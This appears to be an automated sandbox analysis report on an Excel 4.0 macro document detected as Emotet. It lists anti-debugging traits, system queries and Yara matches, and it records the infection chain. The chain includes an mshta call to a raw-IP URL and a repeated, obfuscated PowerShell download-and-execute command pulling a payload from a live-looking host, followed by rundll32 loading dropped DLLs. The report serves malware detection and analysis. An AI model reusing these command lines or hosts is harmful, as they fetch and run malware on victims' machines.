Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10021854 __EH_prolog3,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA, 11_2_10021854
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 15_2_002D7E00 FindFirstFileW, 15_2_002D7E00
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior

Anti Debugging
barindex
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1003D873 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__invoke_watson,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__invoke_watson,__decode_pointer,__decode_pointer,__decode_pointer, 9_2_1003D873
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A4087 mov eax, dword ptr fs:[00000030h] 9_2_007A4087
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00234087 mov eax, dword ptr fs:[00000030h] 10_2_00234087
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00344087 mov eax, dword ptr fs:[00000030h] 11_2_00344087
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_003E3487 mov eax, dword ptr fs:[00000030h] 12_2_003E3487
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_00364087 mov eax, dword ptr fs:[00000030h] 12_2_00364087
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002B4087 mov eax, dword ptr fs:[00000030h] 13_2_002B4087
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 15_2_002E4087 mov eax, dword ptr fs:[00000030h] 15_2_002E4087
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10037657 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 9_2_10037657
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10002280 SetLastError,SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,SetLastError,VirtualAlloc,VirtualAlloc,SetLastError,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,SetLastError, 9_2_10002280
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_10037657 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 9_2_10037657
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1002F81E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 9_2_1002F81E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1003B89A SetUnhandledExceptionFilter,__encode_pointer, 9_2_1003B89A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1003B8BC __decode_pointer,SetUnhandledExceptionFilter, 9_2_1003B8BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1003ACCC __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 9_2_1003ACCC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_10037657 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 11_2_10037657
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_1002F81E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 11_2_1002F81E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_1003B89A SetUnhandledExceptionFilter,__encode_pointer, 11_2_1003B89A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_1003B8BC __decode_pointer,SetUnhandledExceptionFilter, 11_2_1003B8BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_1003ACCC __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 11_2_1003ACCC

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 160.16.102.168 80 Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zzx/ccv/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zzx/ccv/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\mshta.exe mshta http://91.240.118.168/zzx/ccv/fe.html Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zzx/ccv/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qnjiyxnfa\jxnctwsmnhcex.tox",ZiXeiVCTiyE Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qnjiyxnfa\jxnctwsmnhcex.tox",DllRegisterServer Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eyummksnnunnmycc\yekquepksxa.zkh",lrHfvn Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eyummksnnunnmycc\yekquepksxa.zkh",DllRegisterServer Jump to behavior
Yara detected Xls With Macro 4.0
Source: Yara match File source: imedpub.com_10.xls, type: SAMPLE
Source: Yara match File source: C:\Users\user\Desktop\imedpub.com_10.xls, type: DROPPED

Language, Device and Operating System Detection
barindex
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA, 9_2_1003F570
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetThreadLocale,GetLocaleInfoA,GetACP, 9_2_10043730
Source: C:\Windows\SysWOW64\rundll32.exe Code function: _strcpy_s,__snprintf_s,GetLocaleInfoA,LoadLibraryA, 9_2_10014B71
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA, 11_2_1003F570
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetThreadLocale,GetLocaleInfoA,GetACP, 11_2_10043730
Source: C:\Windows\SysWOW64\rundll32.exe Code function: _strcpy_s,__snprintf_s,GetLocaleInfoA,LoadLibraryA, 11_2_10014B71
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1003DAA7 cpuid 9_2_1003DAA7
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1003906D GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter, 9_2_1003906D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_1003CE1A __lock,__invoke_watson,__invoke_watson,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson, 9_2_1003CE1A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_100453C8 GetVersion,GetVersion,GetVersion,GetVersion,GetVersion,RegisterClipboardFormatA, 9_2_100453C8

Stealing of Sensitive Information
barindex
Yara detected Emotet
Source: Yara match File source: 12.2.rundll32.exe.9c0000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2f90000.25.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.a20000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2b60000.13.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2b60000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.7e0000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.3660000.28.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2790000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.760000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.22b0000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.300000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.bf0000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.c20000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.c60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2dc0000.20.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.25c0000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2410000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2730000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2790000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.270000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.2850000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2730000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2d80000.19.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.3d0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.23a0000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.300000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2c60000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2b90000.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2760000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.24f0000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2370000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2aa0000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.3690000.29.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2340000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2f50000.24.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.3660000.28.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.25c0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.9f0000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2f20000.23.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2aa0000.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2d50000.18.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2eb0000.22.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.2820000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.2f90000.13.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.bc0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2f90000.25.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.bc0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.910000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.900000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.9f0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.180000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2c60000.15.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.870000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.c20000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.2e90000.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2410000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2f10000.13.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2f50000.24.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.2a0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.22b0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.900000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2d20000.17.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2eb0000.22.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.790000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.3d0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2ad0000.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.330000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.270000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.760000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.bf0000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2880000.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2ff0000.27.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2ad0000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2e40000.21.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.cf0000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.350000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2dc0000.20.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2d20000.17.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.2850000.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.25f0000.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2fc0000.26.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.c60000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.bc0000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.870000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.2cf0000.16.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.bc0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.2370000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.10000000.30.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.10000000.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.10000000.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.538615152.0000000002850000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.496653771.0000000000331000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494317741.0000000002F11000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673473149.0000000002FC1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672675374.0000000000CF1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493631688.00000000001F0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672831223.0000000002881000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.541336124.00000000002A1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493871437.0000000000BF1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673078532.0000000002CF1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.496375881.0000000000200000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.541752522.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672794567.0000000002790000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672749382.0000000002730000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493984139.0000000002370000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672982289.0000000002B91000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672961471.0000000002B60000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494455991.0000000010001000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538520592.0000000000BF1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673602256.0000000003660000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673105429.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538257691.00000000003D0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673360837.0000000002F21000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.447233462.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673205255.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538139872.0000000000351000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494009099.00000000023A1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673030786.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672529691.0000000000911000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672081662.00000000002D1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673507519.0000000002FF1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494267369.0000000002AA0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672772312.0000000002761000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538439653.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673316318.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673391096.0000000002F50000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538498842.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.673131902.0000000002D51000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672329422.00000000007E1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.447160166.0000000000760000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.493959169.0000000002341000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.672931992.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494193723.00000000025F1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538417405.00000000009C1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494121481.00000000025C0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.541212880.0000000000270000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.494079905.00000000024F1000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.538540998.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
